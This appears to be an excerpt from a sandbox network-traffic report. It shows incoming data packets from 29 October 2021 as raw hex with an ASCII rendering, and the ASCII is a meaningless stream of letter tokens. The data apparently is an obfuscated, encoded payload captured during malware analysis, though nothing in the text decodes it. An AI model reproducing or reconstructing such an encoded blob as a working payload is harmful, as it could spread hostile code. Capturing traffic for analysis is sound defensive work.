2021-10-29 18:29:49 UTC	33	IN	Data Raw: 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 57 71 20 57 6d 20 44 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 70 20 57 4f 20 57 71 20 57 6d 20 58 4a 20 71 4a 4f 20 71 45 71 20 71 4f 6d 20 58 44 20 70 44 20 57 58 20 4a 70 44 20 57 6d 20 58 4a 20 58 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 44 20 44 4f 20 6d 58 20 57 57 20 57 45 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 58 20 44 6d 20 6d 58 20 6d 58 20 70 45 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 71 4f 4d 20 71 71 4a 20 70 57 20 57 4f 20 45 70 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 Data Ascii: Xq qJW qqE qOM qqp mq O Wq Wm DW qqm qqE qOM qOE WO mX pW WJ mE qqJ qqE qOM qqD Mp WO Wq Wm XJ qJO qEq qOm XD pD WX JpD Wm XJ XX qqE qOM qqJ Wq pJ WO Wm Xm qqm qqE qOM qJD DO mX WW WE Xm qqm qqD qqX Dm mX mX pE Wm Xm qqm qqO qOM qqJ pW WO Ep WJ Xm qqm qq
2021-10-29 18:29:49 UTC	34	IN	Data Raw: 4d 20 58 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d 6d 20 71 45 4a 20 71 71 45 20 71 4f 45 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 70 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 44 70 20 44 71 20 57 6d 20 58 71 20 71 4a 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 6d 71 20 4f 20 6d 58 20 57 6d 20 44 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 4f 58 20 57 4f 20 6d 58 20 70 57 20 57 4a 20 6d 45 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 6d 4d 20 4d 57 20 70 44 20 57 57 20 58 6d 20 71 71 44 20 71 4a 45 20 71 45 4d 20 71 71 45 20 4a 4f 20 70 58 20 57 44 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 71 20 70 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d Data Ascii: M Xp qqW qqE qOE qJJ JpD Wp JO pJ Mm qEJ qqE qOE MO WO mX Wq pX Xm qqm qqE qOM qqJ WO Dp Dq Wm Xq qJW qqE qOM qqp mq O mX Wm DD qqm qqE qOM qOX WO mX pW WJ mE qqJ qqE qOM qqD mM MW pD WW Xm qqD qJE qEM qqE JO pX WD JpJ Xm qqD MW qOM qqJ Wq pJ WO Wm Xm qqm
2021-10-29 18:29:49 UTC	35	IN	Data Raw: 20 6d 58 20 57 4f 20 6d 4a 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 20 6d 58 20 6d 58 20 57 4f 20 57 4f 20 58 45 20 4a 4d 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 58 20 4a 70 44 20 57 71 20 71 71 6d 20 71 4f 4f 20 71 4a 45 20 71 45 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 45 20 4d 71 20 71 71 6d 20 71 71 4a 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 44 20 71 71 6d 20 4d 4d 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 4f 20 57 6d 20 44 4d 20 71 71 4a 20 71 6d 20 71 71 71 20 71 71 4a 20 57 4f 20 57 4a 20 6d 4d 20 58 4d 20 4d 6d 20 71 71 57 20 71 71 45 20 71 4f 45 20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d Data Ascii: mX WO mJ Xm qqm qOO qqq qq mX mX WO WO XE JM qOJ qOX qqJ WJ WX JpD Wq qqm qOO qJE qEM qqJ WJ JD WO Wm XW MX qqE qOM qqJ WO mX WO WE Mq qqm qqJ MX qqJ WO mM mq D XD qqm MM qOM qqJ WO mm WO Wm DM qqJ qm qqq qqJ WO WJ mM XM Mm qqW qqE qOE qJJ JpD Wp JO pJ M
2021-10-29 18:29:49 UTC	37	IN	Data Raw: 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 70 20 71 4a 45 20 71 71 4a 20 44 4a 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 71 4f 20 71 71 4a 20 6d 4a 20 6d 58 20 57 4f 20 57 6d 20 45 4d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 6d 20 45 70 20 57 4f 20 57 4f 20 57 6d 20 58 4f 20 71 71 70 20 71 71 70 20 4a 20 71 4f 57 20 57 71 20 6d 58 20 57 4a 20 70 70 20 4d 6d 20 71 45 4a 20 71 71 4a 20 45 57 20 71 4f 4a 20 57 44 20 4a 70 58 20 57 4f 20 6d 58 20 71 4a 44 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 44 4d 20 4d 4d 20 71 71 45 20 71 4f 6d 20 71 4a 45 20 57 4f 20 6d 58 20 57 71 20 71 4a 20 58 44 20 71 4f 71 20 4a 44 20 70 44 20 71 71 4a 20 57 4f 20 57 6d 20 Data Ascii: OX MD WO mX WO Wm Xm qqm qOp qJE qqJ DJ Dp WO Wm XW qOW DM qqO qqJ mJ mX WO Wm EM qqm qqE qJm qqm Ep WO WO Wm XO qqp qqp J qOW Wq mX WJ pp Mm qEJ qqJ EW qOJ WD JpX WO mX qJD qqW qOq qOM qqJ WO mX WO Wm DM MM qqE qOm qJE WO mX Wq qJ XD qOq JD pD qqJ WO Wm
2021-10-29 18:29:49 UTC	38	IN	Data Raw: 20 45 58 20 57 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 20 71 4f 44 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 4a 45 20 58 6d 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4d 57 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 4d 6d 20 71 4a 45 20 71 71 20 71 4f 71 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 58 4d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4a 44 20 71 71 44 20 4a 57 20 57 58 20 71 58 20 71 4d 4f 20 45 71 20 71 71 6d 20 71 71 45 20 44 4d 20 4a 70 4d 20 57 4f 20 6d 58 20 57 44 20 70 4d 20 58 4f 20 71 71 44 20 71 4a 57 20 71 4a 45 20 71 71 57 20 4d 70 20 71 58 57 20 57 4f 20 57 6d 20 58 4a 20 4d 6d 20 71 57 44 20 71 4f 4f 20 4d 4d 20 57 57 20 70 6d 20 57 57 20 44 4d 20 4a 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 6d 70 20 6d 4d 20 57 4f 20 6d 58 Data Ascii: EX WW Wm Xm qqX qq qOD qqJ WO WJ JD JE Xm qqm qqW DM qMW Wq mX WJ pM Mm qJE qq qOq qqJ WO WJ JD qXM Xm qqm qqW qJD qqD JW WX qX qMO Eq qqm qqE DM JpM WO mX WD pM XO qqD qJW qJE qqW Mp qXW WO Wm XJ Mm qWD qOO MM WW pm WW DM JqD qqW qqE qOE XX qmp mM WO mX
2021-10-29 18:29:49 UTC	40	IN	Data Raw: 20 71 71 57 20 70 4f 20 71 71 6d 20 6d 58 20 6d 58 20 57 4a 20 44 4f 20 45 57 20 71 4a 57 20 4a 6d 58 20 4d 4d 20 71 71 4a 20 57 4f 20 57 4f 20 4a 70 20 70 4a 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 70 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 70 45 20 70 44 20 4a 4f 6d 20 6d 58 20 71 70 20 71 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 71 4f 4d 20 71 4a 71 20 71 6d 4a 20 57 4a 20 71 4f 44 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 71 6d 44 20 4a 70 20 6d 45 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 6d 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 Data Ascii: qqW pO qqm mX mX WJ DO EW qJW JmX MM qqJ WO WO Jp pJ Dm qmO qqW Wp qqJ WO Wm DW qXp Xm qqm qqW JOE XW pE pD JOm mX qp qqm qqE qOE p qEM mX WO mX JmD XE qOM qJq qmJ WJ qOD WO Wm XJ q Jmm qOM qqJ WJ qmD Jp mE Dm qmO qqW Wm qqJ WO Wm DW qXp Xm qqm qqW JOE X
2021-10-29 18:29:49 UTC	41	IN	Data Raw: 4d 20 71 71 58 20 57 4a 20 4a 4f 44 20 57 4a 20 57 4f 20 58 44 20 71 71 6d 20 71 71 57 20 70 4f 20 4a 71 70 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 44 58 20 71 71 6d 20 71 71 45 20 45 4f 20 58 58 20 70 57 20 6d 58 20 57 4f 20 4a 4d 20 71 4a 6d 20 4a 57 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 6d 20 4a 4a 20 6d 4d 20 57 4f 20 58 71 20 4d 4f 20 57 58 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 45 4d 20 44 44 20 71 71 70 20 71 4f 4d 20 57 45 20 57 71 20 6d 58 20 57 4f 20 6d 71 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 70 20 71 4d 4f 20 6d 4d 20 57 4f 20 6d 58 20 71 71 70 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 4d 70 20 57 57 20 58 6d 20 71 71 44 20 58 4f 20 70 4f 20 71 4f 57 20 57 4f 20 6d 58 20 57 44 20 58 Data Ascii: M qqX WJ JOD WJ WO XD qqm qqW pO Jqp WO mX WD pO DX qqm qqE EO XX pW mX WO JM qJm JWO qqE qOM qqX Jm JJ mM WO Xq MO WX qOM qqJ WJ JD WO Wm EM DD qqp qOM WE Wq mX WO mq Xm qqm qOO qOW p qMO mM WO mX qqp q JqO qOM qqJ WD MW Mp WW Xm qqD XO pO qOW WO mX WD X
2021-10-29 18:29:49 UTC	42	IN	Data Raw: 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 71 4d 20 58 57 20 71 71 6d 20 71 71 45 20 6d 6d 20 71 71 70 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 58 6d 20 71 71 6d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 71 57 20 6d 4d 20 57 4f 20 57 6d 20 4a 4a 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 45 20 57 4f 20 6d 58 20 57 4f 20 57 Data Ascii: WO qX Xm qqm qqD qOM qqJ WO mX JqD Wm Xm qqm qJD qOM qqJ WO qMX WO Wm Xm qqp qqE qOM qqJ Dq mX WO WW Xm qqm qqE qOM qqJ WO mX WO qqM XW qqm qqE mm qqp WO mX Wq Wm Xm qqm Xq qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ qqW mM WO Wm JJ qqW qqE qOM qqE WO mX WO W
2021-10-29 18:29:49 UTC	44	IN	Data Raw: 6d 20 4a 4d 20 71 4d 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 4d 20 57 57 20 58 6d 20 71 71 44 20 71 71 70 20 44 4d 20 71 57 4f 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 4a 4a 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4f 20 70 70 20 4f 20 44 4a 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 6d 4a 20 71 71 45 20 71 71 44 20 71 4f 4d 20 71 71 44 20 70 71 20 4a 4f 20 70 44 20 4a 70 4f 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 58 20 71 70 58 20 6d 58 20 57 4f 20 44 4f 20 71 70 4a 20 71 4a 44 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 4f 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 44 20 57 6d 20 58 6d 20 71 4a 4f Data Ascii: m JM qMm qOM qqJ WD Jm qpM WW Xm qqD qqp DM qWO WO mX WJ pO JJE qqW qqE qOE MO pp O DJ Wm qMm qqm qqE qOM qqJ WO mX WO WO mJ qqE qqD qOM qqD pq JO pD JpO qJ qqm qqE qOX XX qpX mX WO DO qpJ qJD qqE qOM qqm JD qpD WO Wm Mm MO JOm qOM qqJ WD Jm qpD Wm Xm qJO
2021-10-29 18:29:49 UTC	45	IN	Data Raw: 44 20 71 4f 4d 20 71 71 58 20 70 57 20 57 4a 20 4d 70 20 4a 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 71 71 58 20 4d 70 20 71 4f 20 57 4f 20 57 6d 20 58 4a 20 58 45 20 71 4f 4d 20 4d 6d 20 71 4a 4f 20 6d 58 20 57 71 20 57 6d 20 70 4f 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 4f 57 20 71 20 57 6d 20 44 57 20 71 57 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 70 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 6d 4a 20 58 6d 20 71 71 6d 20 71 71 4d 20 71 4f 4d 20 4d 45 20 57 4f 20 6d 6d 20 70 71 20 57 6d 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 58 20 6d 58 20 71 71 44 20 57 6d 20 45 4a 20 71 44 20 71 71 45 20 4d 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 58 44 20 4d 4f 20 71 45 71 20 71 4f 4d 20 71 71 4a 20 57 4a Data Ascii: D qOM qqX pW WJ Mp JmO Xm qqm qJE qqq qqX Mp qO WO Wm XJ XE qOM Mm qJO mX Wq Wm pO qJ qqm qqE qOE qOW q Wm DW qWE Xm qqm qJE Jp MO WO mX Wq mJ Xm qqm qqM qOM ME WO mm pq Wm MO qqm qqE qOM qqJ mX mX qqD Wm EJ qD qqE MM qqJ WO mX WO qED XD MO qEq qOM qqJ WJ
2021-10-29 18:29:49 UTC	46	IN	Data Raw: 20 4d 70 20 58 71 20 58 57 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4a 57 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 71 57 45 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 6d 20 57 4a 20 4d 57 20 45 20 57 6d 20 58 6d 20 71 71 44 20 58 4f 20 71 71 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 71 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 6d 70 20 70 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 71 6d 4a 20 6d 4d 20 58 4d 20 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 4a 4f 20 57 4f 20 6d 4d 20 58 4d 20 57 57 20 71 71 57 20 71 71 45 20 71 4f 45 20 58 58 20 71 58 4d 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 6d 4f 20 71 20 44 4a 20 58 44 20 71 71 70 20 Data Ascii: Mp Xq XW qqm qqW DM qJW WO mX WJ XM qWE qqm qqE qOp qqm WJ MW E Wm Xm qqD XO qqE DE WX WO mM WO qJm qX qqE qOM qqX mp p WJ DM JWW qqm qqE qOp qO Jm qmJ mM XM E qqW qqE qOE MJ JO WO mM XM WW qqW qqE qOE XX qXM mX WO mX WM mX qqE qOM qqX Jp mO q DJ XD qqp
2021-10-29 18:29:49 UTC	48	IN	Data Raw: 4d 20 45 45 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 4f 20 57 4f 20 70 45 20 71 58 45 20 71 4a 45 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 44 45 20 71 57 57 20 57 6d 20 58 6d 20 71 71 44 20 4a 71 57 20 44 4d 20 4a 57 70 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 4a 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 44 20 4a 6d 20 6d 58 20 57 4f 20 57 6d 20 45 71 20 44 44 20 71 71 4a 20 71 4f 4d 20 71 4d 4a 20 57 71 20 6d 58 20 57 4f 20 71 4d 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 58 58 20 71 58 6d 20 6d 58 20 57 4f 20 6d 58 20 70 4d 20 71 71 4d 20 71 71 4d 20 71 4f 4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 20 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 71 71 Data Ascii: M EE qqE qOM qqX JO WO pE qXE qJE qqm qqE qqq XW pD DE qWW Wm Xm qqD JqW DM JWp WO mX WJ XM Jq qqm qqE qOE XD Jm mX WO Wm Eq DD qqJ qOM qMJ Wq mX WO qM Xm qqm qOO qqq XX qXm mX WO mX pM qqM qqM qOM qqX WD mE Dq qXE MO qqm qqE qqq XW pD pD JOm mX pX qqm qq
2021-10-29 18:29:49 UTC	49	IN	Data Raw: 57 20 44 4d 20 4a 6d 58 20 57 4f 20 6d 58 20 57 4a 20 6d 58 20 70 4d 20 4a 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 57 44 20 57 71 20 57 6d 20 58 4f 20 4d 4f 20 4a 6d 4f 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 6d 20 4a 4f 6d 20 6d 58 20 58 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 71 57 71 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 4d 58 20 71 71 45 20 71 4f 4d 20 4d 71 20 4a 44 20 70 70 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 4a 6d 70 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 6d 20 71 58 71 20 57 6d 20 58 6d 20 71 71 44 20 71 71 57 20 71 6d 45 20 71 71 58 20 57 70 20 57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 71 4a Data Ascii: W DM JmX WO mX WJ mX pM Jqm qqE qOM qJJ EM WD Wq Wm XO MO JmO qOM qqJ WJ Wm JOm mX XJ qqJ qqE qOE p qWq mX WO DO qJm MX qqE qOM Mq JD pp WO Wm qJE MO Jmp qOM qqJ WJ Jm qXq Wm Xm qqD qqW qmE qqX Wp WO WO mX pM JqW qqE qOM qJJ JD pJ WO Wm qJE MO qOO qOM qqJ
2021-10-29 18:29:49 UTC	50	IN	Data Raw: 58 20 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 45 20 57 4f 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 4a 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 57 6d 20 57 4f 20 6d 58 20 57 4f 20 44 71 20 58 6d 20 71 71 6d 20 71 71 45 20 71 57 57 20 71 71 4a 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 45 20 6d 4d 20 57 4f 20 57 6d 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 Data Ascii: X JqD Wm Xm qqm qJD qOM qqJ WO qME WO Wm Xm qqW qqE qOM qqJ JJ mX WO WW Xm qqm qqE qOM qWm WO mX WO Dq Xm qqm qqE qWW qqJ WO mX mM Wm Xm qqm qJJ qOM qqJ Wq mX WO Wm Xm qqm qqE qOM qqJ mE mM WO Wm Ep qqW qqE qOM qqp WO mX WO qX Xm qqm qqD qOM qqJ WO mX WO
2021-10-29 18:29:49 UTC	52	IN	Data Raw: 20 57 6d 20 4a 6d 20 71 70 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 71 4d 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4a 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 71 20 57 71 20 6d 58 20 57 4a 20 57 4f 20 71 4a 6d 20 71 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 44 20 71 70 57 20 57 71 20 57 6d 20 58 4a 20 58 58 20 71 4f 4a 20 4d 70 20 71 4a 6d 20 57 4f 20 71 44 44 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 45 58 20 57 44 20 57 57 20 58 6d 20 71 71 58 20 58 58 20 45 70 20 71 4f 4a 20 4a 4a 44 20 71 4f 6d 20 57 4f 20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 58 20 Data Ascii: Wm Jm qpW Wm Xm qJO JD JqM qqJ WO WX Mp qJM Xm qqm qJE DM JOq Wq mX WJ WO qJm qmX qqE qOM qqX JD qpW Wq Wm XJ XX qOJ Mp qJm WO qDD WO Wm Xm qqm qqE qOM qqJ Wm EX WD WW Xm qqX XX Ep qOJ JJD qOm WO Wm XW MO JOW qOM qqJ WD JJm Dp Wm Xm qqJ Mp Jqp qqJ WO WX
2021-10-29 18:29:49 UTC	53	IN	Data Raw: 70 4d 20 58 4f 20 4d 4f 20 71 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 44 4a 20 57 57 20 58 6d 20 71 71 44 20 71 4f 4f 20 71 4f 57 20 70 71 20 4a 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 58 4f 20 4d 4f 20 4a 4f 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 6d 20 4d 70 20 44 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 6d 20 71 71 4a 20 6d 44 20 4a 4d 20 57 4f 20 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 58 20 57 4f 20 6d 4a 20 57 6d 20 71 71 6d 20 71 4a 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 58 4a Data Ascii: pM XO MO qmm qOM qqJ WJ MW qDJ WW Xm qqD qOO qOW pq Jmm mX WO DO XO MO JOq qOX qqJ WJ Wm Mp DE XW qqm qqW Eq qqJ WO mM mD Wm Xm qqJ qqE qJm qqJ mD JM WO WD Xm qqm qqE qOM qqm WO qqX WO mJ Wm qqm qJp qOM qqJ WO mX qqD WO qJm JOD qqD qOM qqX JD JpX WO Wm XJ
2021-10-29 18:29:49 UTC	54	IN	Data Raw: 20 57 6d 20 58 4a 20 4a 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 4f 20 71 4d 71 20 4a 4d 20 58 6d 20 71 71 6d 20 71 71 4d 20 45 4a 20 71 4f 4a 20 44 57 20 71 44 70 20 57 4f 20 57 6d 20 58 4a 20 4a 4f 58 20 58 4f 20 71 4a 4a 20 71 71 58 20 71 6d 6d 20 4a 6d 20 71 4d 71 20 57 6d 20 58 6d 20 71 71 44 20 71 4a 44 20 71 4f 44 20 71 71 57 20 4d 70 20 58 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 4a 6d 4d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 4a 6d 58 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 70 20 44 4d 20 4a 4f 6d 20 57 71 20 6d 58 20 57 4a 20 6d 4d 20 57 4d 20 4a 6d 70 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 6d 20 71 44 44 20 6d 4d 20 58 4d 20 57 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 6d 44 20 57 4a 20 4a 44 20 71 70 58 20 58 57 Data Ascii: Wm XJ JM JJW qOM qqJ WJ mO qMq JM Xm qqm qqM EJ qOJ DW qDp WO Wm XJ JOX XO qJJ qqX qmm Jm qMq Wm Xm qqD qJD qOD qqW Mp XM Wq Wm XJ MO JmM qOM qqJ WJ MW JmX Wm Xm qJO qqp DM JOm Wq mX WJ mM WM Jmp qqD qOM qqX Jm qDD mM XM Wp qqW qqE qOE MJ mD WJ JD qpX XW
2021-10-29 18:29:49 UTC	58	IN	Data Raw: 20 58 6d 20 71 4a 4f 20 58 4d 20 71 4f 6d 20 71 4f 70 20 70 70 20 57 6d 20 4a 57 20 44 70 20 45 4f 20 71 4a 4a 20 4d 70 20 58 58 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 4a 70 4a 20 71 70 58 20 71 4a 6d 20 71 4f 70 20 71 4f 71 20 71 6d 4a 20 70 44 20 57 44 20 57 4f 20 57 6d 20 45 4d 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 70 57 20 6d 58 20 71 71 4f 20 71 45 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 70 70 20 57 57 20 44 4d 20 6d 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 44 20 70 70 20 57 44 20 58 4d 20 71 70 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 70 20 70 58 20 70 70 20 44 71 20 44 44 20 4d 45 20 71 4a 71 20 45 4f 20 57 45 20 70 57 20 57 4d 20 70 71 20 71 4a 70 20 44 44 20 4d 45 20 71 4a 4f Data Ascii: Xm qJO XM qOm qOp pp Wm JW Dp EO qJJ Mp XX qqJ WO WX pq JpJ qpX qJm qOp qOq qmJ pD WD WO Wm EM JM qJD qOM qqJ WD JpD pW mX qqO qED qqE qOM qqJ WO pp WW DM mX qqm qqE qOp MM WD pp WD XM qpW qqm qqE qOp MM Wp pX pp Dq DD ME qJq EO WE pW WM pq qJp DD ME qJO
